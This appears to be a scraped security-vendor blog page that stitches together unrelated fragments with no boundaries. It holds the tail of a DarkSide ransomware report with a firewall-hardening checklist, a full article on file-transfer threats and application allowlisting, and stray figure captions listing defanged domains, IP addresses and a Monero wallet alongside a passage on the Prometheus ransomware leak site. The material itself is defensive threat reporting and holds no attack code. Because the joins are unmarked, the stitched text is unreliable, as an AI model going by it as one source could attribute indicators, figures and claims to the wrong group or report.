Why does this matter? While we found that in many cases the client’s endpoint security did its job protecting Windows PCs from being encrypted, because the servers were heavily virtualized through VMware’s ESXI, the ESXI version of the ransomware made it possible for the DarkSide group to encrypt the virtual infrastructure. The threat actors then essentially shut down applications and services, such as file shares, DNS and email, leaving the victims’ networks in a deteriorated state or, worse, not functional.
What Can We Learn From This?
We’ve been noting for some time that ransomware attackers are becoming increasingly professionalized, outsourcing code development, infrastructure and C2 operations, as well as operating RaaS. Many of them are organized enough to respond to media inquiries and operate victim hotlines.
As these threat actors continue to up their game, organizations need to follow best practices to safeguard their data and protect against groups such as the DarkSide ransomware gang.
Organizations should also make sure to have an incident response plan in place in case of an attack. Unit 42 offers a Ransomware Readiness Assessment to help organizations get started on bolstering defenses.
Palo Alto Networks customers are protected from this threat by:
WildFire: All known samples are identified as malware.
Anti-Ransomware Module to detect DarkSide encryption behaviors.
Local Analysis detection to detect DarkSide binaries.
Cortex XSOAR: Cortex XSOAR’s ransomware content pack can immediately help incident response, threat intelligence and SecOps teams to standardize and speed-up post-intrusion response processes. This content pack automates most of the ransomware response steps, allowing the incident response and SecOps teams to add their guidance and input.
Indicators associated with Darkside are available on GitHub, have been published to the Unit 42 TAXII feed and are viewable via the ATOM Viewer.
Courses of Action
This section documents relevant tactics, techniques and procedures (TTPs) used with DarkSide and maps them directly to Palo Alto Networks product(s) and service(s). It also further instructs customers on how to ensure their devices are configured correctly.
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Ensure that User-ID is only enabled for internal trusted interfaces
Ensure that 'Include/Exclude Networks' is used if User-ID is enabled
Ensure that the User-ID Agent has minimal permissions if User-ID is enabled
Ensure that the User-ID service account does not have interactive logon rights
Ensure remote access capabilities for the User-ID service account are forbidden
Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones
Set up File Blocking
Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured
Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS
Ensure that the Certificate used for Decryption is Trusted
Threat Prevention †
Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low and informational vulnerabilities
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure a secure Anti-Spyware profile is applied to all security policies permitting traffic to the Internet
Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned and set to appropriate actions
Ensure that User Credential Submission uses the action of ‘block’ or ‘continue’ on the URL categories
DNS Security †
Enable DNS Security in Anti-Spyware profile
URL Filtering †
Ensure that URL Filtering is used
Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL Filtering is enabled for all security policies allowing traffic to the internet
WildFire †
Ensure that WildFire file size upload limits are maximized
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Service Stop [T1489], Inhibit System Recovery [T1490], Data Encrypted for Impact [T1486]
Cortex XDR
Look for the following BIOCs alerts to detect activity*:
Manipulation of Volume Shadow Copy configuration
Cortex XSOAR
Deploy XSOAR Playbook - Ransomware Manual
Table 1. Courses of Action for Darkside ransomware. †These capabilities are part of the NGFW security subscriptions service. * These analytic detectors will trigger automatically for Cortex XDR Pro customers.
File transfers (i.e., upload and download) are vital for organizations and their employees’ productivity. For example, file uploads are essential for expense management platforms, content management systems (CMS), instant messaging and collaboration applications and services. Employees frequently transfer files to teammates, customers and partners, and it’s typically believed that the entire transferring process is safe. However, since the COVID-19 pandemic caused employees to transition to remote workspaces, it has become critical to reduce attack vectors for malicious actors by applying precise measures to guarantee an organization’s security for file transfers.
Cyberthreats involving malware begin with delivering specific malicious code to the victims. Generally, organizations spend a great deal of money on security solutions designed to hinder external threats. However, we should not leave ourselves vulnerable to insider threats either, as we often grant a greater level of trust to people with whom we constantly communicate within our workplace.
In this blog, we aim to evaluate how file transfer security and application allowlisting can diminish both external and insider threats. We look deeper into file transfer security risks and threats that organizations face every day. Our goal is to explain the features within Palo Alto Networks Next-Generation FirewallApp-ID that provide support against file transfer threats and protect enterprises from external hacks and internal leaks. In the following sections, we discuss different risk factors, file upload threats and network traffic visibility via the App-ID technology.
What Are the Risk Factors for File Transfer Threats?
When allowing file transfers on your enterprise network, risks can include attacks on infrastructure, users, data and service availability. A file upload vulnerability can have a crucial impact because code can be executed on the server or the client. The uploaded file can be misused to exploit other vulnerable components of an application or trigger vulnerabilities in defective libraries while the file exists on the same machine. Uploaded files that threat actors can use could contain the following:
Command and control (C2) server information.
Directions for harassment or violence.
Steganographic materials.
The other significant risk involves file sharing on storage servers that are often targeted for abuse or misuse. They might host harmful files containing illegal software, malware or adult content. Firefox Send was one of these file-sharing web services. It was shut down no longer than a year after being in business due to the platform's usage by threat actors to spread malware and spear phishing attacks.
On the other hand, the cost of malicious insider attacks is growing every year. Regulations such as HIPAA, GDPR and the PCI Data Security Standard hold businesses to stringent measures whenever data is involved.
The primary problem with data transfers is that most data is now located outside of the enterprise (e.g., in the cloud). In cases in which organizations do not set up proper protection boundaries, policies and controls on the movement of data to and from the cloud, excessive unauthorized transfers can be the result. As a result, malicious or careless insiders can pose serious risks through unapproved file transfers. If there is no traffic visibility over these file transfers, insider threats can cause data loss or breaches. To reduce the risk of data theft and data loss, businesses should allow relevant and limited transfers and have data loss prevention to check for unnecessary data transfers.
Key File Upload Threats
Applications with file transfer capability are being used every day, and file uploads are becoming an essential part of any application. Such applications should filter out bogus and malicious files to keep themselves and their users safe. There are best practices to obtain secure file transfers, such as:
Always verify the file type without trusting the Content-Type header, which attackers can spoof.
Enforce file name length and size limit, and change the file name while hosting on the server.
Only allow extensions that are required for business functionality. If files are publicly available, use handler mapping to map ID to filename within the application.
We also recommend running files through a sandbox or antivirus.
However, due to the nature of some applications – for instance, file hosting or cloud storage applications – some of these practices may not be applicable. Additionally, some applications can be targeted by file upload threats due to the development team's lack of security knowledge.
Uploaded files serve as a critical risk for enterprise networks. In most incidents, attackers need to get malicious code into the system to attack, and then the threat actor needs to engineer a way to get the code executed. Attackers use file upload vulnerabilities to deliver a file for malicious purposes. Different types of file upload threats can be grouped as follows:
Exploiting vulnerabilities in the file parser by arbitrary file upload in the file submission component. These could be due to input that is unvalidated or not sanitized. CVE-2021-24144, CVE-2021-24142 and CVE-2021-25277 are three example attacks of this type.
Wrong Content-Type validation, such as is seen in CVE-2017-5638.
Incorrect exception handling, backtracking regex. CVE-2021-25292 is an example backtracking regex attack.
Client- and server-side attacks such as cross-site request forgery (CSRF), cross-site scripting (XSS) and server-side request forgery (SSRF), are other types of file transfer threats. Examples of client- and server-side attacks include:
Attacks like these could compromise other users or disclose sensitive information (e.g., proprietary, copyrighted or personal data) if files are publicly retrievable. They could also overwrite an existing file on the system. Most of these attacks use the upload component to upload a malicious file with arbitrary extensions and data to exploit vulnerabilities.
It should be mentioned that at the network security level our hands are tied when it comes to controlling and validating user content. Thus, the best approach is to implement a defense-in-depth strategy to get better visibility into upload action. Defense in depth involves building different layers of protection around assets to reduce the effect of exploitation. It consists of policies, operations, human interactions, legal and technical aspects with best practice implementation. If one layer breaks, is taken down or proven inadequate, another security layer could prevent a complete breach.
Network Traffic Visibility for File Transfer Features and Applications
Network traffic visibility is the beginning of security. We approach this through Palo Alto Networks App-ID technology, which forms a foundation to overcome the attack surface by providing comprehensive application and protocol visibility. Using App-ID capabilities that focus on application and network protocol identification, organizations are empowered to allowlist, block or control applications with file transfer characteristics by configuring policies. App-ID running on the Palo Alto Networks Next-Generation Firewall is competent in accommodating users with extensive visibility on file transfer applications. Currently, App-ID covers more than 352 file-sharing/hosting applications and over 211 applications with file transfer functionalities, such as in-app uploading and downloading features.
The App-ID team’s process for identifying apps with file transfer capabilities includes, but is not limited to, confirming the application has file transfer features. Every app is checked for whether it allows the particular file types that are well-known for being misused for malicious intent, such as VBScript files. Also, Palo Alto Networks Next-Generation Firewall can detect and analyze hundreds of file types with or without extensions. Additionally, all the applications identified as transferring files use PAN-OS forwarding techniques to intercept files from the firewall traffic and automatically send them to WildFire for further analysis.
Conclusion
Most businesses are engaged with file transfers inside their organization, and visibility into those file transfers is the key to avoiding data breaches. Palo Alto Networks Next-Generation Firewall App-ID provides in-depth application allowlisting to run on the organizations’ networks. It helps organizations easily monitor and control applications’ behavior to guard businesses against intruders and insider threats.
Palo Alto Networks customers are protected from this kind of attack by the following:
Next-Generation Firewalls with App-ID grant granular control and provide in-depth visibility and protection at the level of individual applications and protocols.
Next-Generation Firewalls with a Threat Prevention security subscription can block the attacks with Best Practices via Threat Prevention signatures, and a WildFire security subscription can stop the malware with static signature detections.
Get updates from Unit 42
Peace of mind comes from staying ahead of threats. Subscribe today.
Get the latest news, invites to events, and threat alerts
![Figure 17. DNS resolutions for eonsabode[.]at.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/06/word-image-63.png)
![Resolutions associated with 34.94.151[.]129](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/06/word-image-64.png)
![Resolutions associated with 34.106.243[.]174](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/06/word-image-65.png)
![Resolutions associated with 34.105.89[.]82](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/06/word-image-66.png)
Like many current ransomware gangs, this group also created a leak site (a different section of the same website that hosts the “ticketing system”) where they name and shame their victims (Figure 5).
The Prometheus ransomware operators include a status per victim. We found that some of the information posted on the leak site has already been sold to an unknown third party. There are also posts showing that victims within impacted industries paid the ransom and their data was removed from the site (Figure 6).
![Unit 42 researchers identified a new Monero wallet address that has never before been witnessed in relation to TeamTNT operations, 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmAUrFd3H. This Monero wallet address was associated with the Monero public mining pool pool.supportxmr[.]com:3333.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/06/word-image-8.png)
Get updates from Unit 42 